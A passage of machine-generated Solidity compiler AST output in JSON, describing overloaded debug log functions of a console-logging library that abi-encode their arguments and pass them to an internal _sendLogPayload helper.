\"log(uint256,uint256,uint256,string)\""},"value":"log(uint256,uint256,uint256,string)"},{"id":26011,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25998,"src":"20636:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26012,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26000,"src":"20640:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26013,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26002,"src":"20644:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26014,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26004,"src":"20648:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_59cfcbe3e387f57023dcccd8733484dcb5a23a41a25c4015c01a4e8d3520c4ef","typeString":"literal_string \"log(uint256,uint256,uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26008,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20573:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26009,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20577:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20573:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20573:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26007,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20557:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20557:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26017,"nodeType":"ExpressionStatement","src":"20557:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20475:3:15","parameters":{"id":26005,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25998,"mutability":"mutable","name":"p0","nameLocation":"20487:2:15","nodeType":"VariableDeclaration","scope":26019,"src":"20479:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25997,"name":"uint256","nodeType":"ElementaryTypeName","src":"20479:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26000,"mutability":"mutable","name":"p1","nameLocation":"20499:2:15","nodeType":"VariableDeclaration","scope":26019,"src":"20491:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25999,"name":"uint256","nodeType":"ElementaryTypeName","src":"20491:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26002,"mutability":"mutable","name":"p2","nameLocation":"20511:2:15","nodeType":"VariableDeclaration","scope":26019,"src":"20503:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26001,"name":"uint256","nodeType":"ElementaryTypeName","src":"20503:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26004,"mutability":"mutable","name":"p3","nameLocation":"20529:2:15","nodeType":"VariableDeclaration","scope":26019,"src":"20515:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26003,"name":"string","nodeType":"ElementaryTypeName","src":"20515:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20478:54:15"},"returnParameters":{"id":26006,"nodeType":"ParameterList","parameters":[],"src":"20547:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26042,"nodeType":"FunctionDefinition","src":"20665:182:15","nodes":[],"body":{"id":26041,"nodeType":"Block","src":"20737:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c75696e743235362c626f6f6c29","id":26033,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20787:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c598d18505e9c7404a061484d6144251d0ef342167a57ace85723d498abac8e3","typeString":"literal_string \"log(uint256,uint256,uint256,bool)\""},"value":"log(uint256,uint256,uint256,bool)"},{"id":26034,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26021,"src":"20824:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26035,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26023,"src":"20828:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26036,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26025,"src":"20832:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26037,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26027,"src":"20836:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c598d18505e9c7404a061484d6144251d0ef342167a57ace85723d498abac8e3","typeString":"literal_string \"log(uint256,uint256,uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26031,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20763:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26032,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20767:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20763:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20763:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26030,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20747:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26039,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20747:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26040,"nodeType":"ExpressionStatement","src":"20747:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20674:3:15","parameters":{"id":26028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26021,"mutability":"mutable","name":"p0","nameLocation":"20686:2:15","nodeType":"VariableDeclaration","scope":26042,"src":"20678:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26020,"name":"uint256","nodeType":"ElementaryTypeName","src":"20678:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26023,"mutability":"mutable","name":"p1","nameLocation":"20698:2:15","nodeType":"VariableDeclaration","scope":26042,"src":"20690:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26022,"name":"uint256","nodeType":"ElementaryTypeName","src":"20690:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26025,"mutability":"mutable","name":"p2","nameLocation":"20710:2:15","nodeType":"VariableDeclaration","scope":26042,"src":"20702:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26024,"name":"uint256","nodeType":"ElementaryTypeName","src":"20702:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26027,"mutability":"mutable","name":"p3","nameLocation":"20719:2:15","nodeType":"VariableDeclaration","scope":26042,"src":"20714:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26026,"name":"bool","nodeType":"ElementaryTypeName","src":"20714:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"20677:45:15"},"returnParameters":{"id":26029,"nodeType":"ParameterList","parameters":[],"src":"20737:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26065,"nodeType":"FunctionDefinition","src":"20853:188:15","nodes":[],"body":{"id":26064,"nodeType":"Block","src":"20928:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c75696e743235362c6164647265737329","id":26056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20978:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fa8185afaca325eb459625959e5610b99e97bbcba8d5834d7632610b4f237c79","typeString":"literal_string \"log(uint256,uint256,uint256,address)\""},"value":"log(uint256,uint256,uint256,address)"},{"id":26057,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26044,"src":"21018:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26058,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26046,"src":"21022:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26059,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26048,"src":"21026:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26060,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26050,"src":"21030:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fa8185afaca325eb459625959e5610b99e97bbcba8d5834d7632610b4f237c79","typeString":"literal_string \"log(uint256,uint256,uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26054,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20954:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26055,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20958:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"20954:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20954:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26053,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"20938:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26062,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20938:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26063,"nodeType":"ExpressionStatement","src":"20938:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20862:3:15","parameters":{"id":26051,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26044,"mutability":"mutable","name":"p0","nameLocation":"20874:2:15","nodeType":"VariableDeclaration","scope":26065,"src":"20866:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26043,"name":"uint256","nodeType":"ElementaryTypeName","src":"20866:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26046,"mutability":"mutable","name":"p1","nameLocation":"20886:2:15","nodeType":"VariableDeclaration","scope":26065,"src":"20878:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26045,"name":"uint256","nodeType":"ElementaryTypeName","src":"20878:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26048,"mutability":"mutable","name":"p2","nameLocation":"20898:2:15","nodeType":"VariableDeclaration","scope":26065,"src":"20890:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26047,"name":"uint256","nodeType":"ElementaryTypeName","src":"20890:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26050,"mutability":"mutable","name":"p3","nameLocation":"20910:2:15","nodeType":"VariableDeclaration","scope":26065,"src":"20902:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26049,"name":"address","nodeType":"ElementaryTypeName","src":"20902:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20865:48:15"},"returnParameters":{"id":26052,"nodeType":"ParameterList","parameters":[],"src":"20928:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26088,"nodeType":"FunctionDefinition","src":"21047:193:15","nodes":[],"body":{"id":26087,"nodeType":"Block","src":"21128:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c737472696e672c75696e7432353629","id":26079,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21178:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5da297eb5acf47b1a9c0089c080d654cc07f2a8c9aa94fc68af26a6405cde114","typeString":"literal_string \"log(uint256,uint256,string,uint256)\""},"value":"log(uint256,uint256,string,uint256)"},{"id":26080,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26067,"src":"21217:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26081,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26069,"src":"21221:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26082,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26071,"src":"21225:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26083,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26073,"src":"21229:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5da297eb5acf47b1a9c0089c080d654cc07f2a8c9aa94fc68af26a6405cde114","typeString":"literal_string \"log(uint256,uint256,string,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26077,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21154:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26078,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21158:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21154:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26084,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21154:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26076,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"21138:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21138:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26086,"nodeType":"ExpressionStatement","src":"21138:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21056:3:15","parameters":{"id":26074,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26067,"mutability":"mutable","name":"p0","nameLocation":"21068:2:15","nodeType":"VariableDeclaration","scope":26088,"src":"21060:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26066,"name":"uint256","nodeType":"ElementaryTypeName","src":"21060:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26069,"mutability":"mutable","name":"p1","nameLocation":"21080:2:15","nodeType":"VariableDeclaration","scope":26088,"src":"21072:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26068,"name":"uint256","nodeType":"ElementaryTypeName","src":"21072:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26071,"mutability":"mutable","name":"p2","nameLocation":"21098:2:15","nodeType":"VariableDeclaration","scope":26088,"src":"21084:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26070,"name":"string","nodeType":"ElementaryTypeName","src":"21084:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26073,"mutability":"mutable","name":"p3","nameLocation":"21110:2:15","nodeType":"VariableDeclaration","scope":26088,"src":"21102:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26072,"name":"uint256","nodeType":"ElementaryTypeName","src":"21102:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21059:54:15"},"returnParameters":{"id":26075,"nodeType":"ParameterList","parameters":[],"src":"21128:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26111,"nodeType":"FunctionDefinition","src":"21246:198:15","nodes":[],"body":{"id":26110,"nodeType":"Block","src":"21333:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c737472696e672c737472696e6729","id":26102,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21383:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_27d8afd2525217fff7302dbf79acc81edc09cb300d94f2503a4fb8a8115910e0","typeString":"literal_string \"log(uint256,uint256,string,string)\""},"value":"log(uint256,uint256,string,string)"},{"id":26103,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26090,"src":"21421:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26104,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26092,"src":"21425:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26105,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26094,"src":"21429:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26106,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26096,"src":"21433:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_27d8afd2525217fff7302dbf79acc81edc09cb300d94f2503a4fb8a8115910e0","typeString":"literal_string \"log(uint256,uint256,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26100,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21359:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26101,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21363:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21359:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21359:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26099,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"21343:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26108,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21343:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26109,"nodeType":"ExpressionStatement","src":"21343:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21255:3:15","parameters":{"id":26097,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26090,"mutability":"mutable","name":"p0","nameLocation":"21267:2:15","nodeType":"VariableDeclaration","scope":26111,"src":"21259:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26089,"name":"uint256","nodeType":"ElementaryTypeName","src":"21259:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26092,"mutability":"mutable","name":"p1","nameLocation":"21279:2:15","nodeType":"VariableDeclaration","scope":26111,"src":"21271:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26091,"name":"uint256","nodeType":"ElementaryTypeName","src":"21271:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26094,"mutability":"mutable","name":"p2","nameLocation":"21297:2:15","nodeType":"VariableDeclaration","scope":26111,"src":"21283:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26093,"name":"string","nodeType":"ElementaryTypeName","src":"21283:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26096,"mutability":"mutable","name":"p3","nameLocation":"21315:2:15","nodeType":"VariableDeclaration","scope":26111,"src":"21301:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26095,"name":"string","nodeType":"ElementaryTypeName","src":"21301:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21258:60:15"},"returnParameters":{"id":26098,"nodeType":"ParameterList","parameters":[],"src":"21333:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26134,"nodeType":"FunctionDefinition","src":"21450:187:15","nodes":[],"body":{"id":26133,"nodeType":"Block","src":"21528:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c737472696e672c626f6f6c29","id":26125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21578:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7af6ab2578caf14043420c6b292dcb787d09d31b13365d7673f201f9b2e310c9","typeString":"literal_string \"log(uint256,uint256,string,bool)\""},"value":"log(uint256,uint256,string,bool)"},{"id":26126,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26113,"src":"21614:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26127,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26115,"src":"21618:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26128,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26117,"src":"21622:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26129,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26119,"src":"21626:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7af6ab2578caf14043420c6b292dcb787d09d31b13365d7673f201f9b2e310c9","typeString":"literal_string \"log(uint256,uint256,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26123,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21554:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26124,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21558:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21554:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21554:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 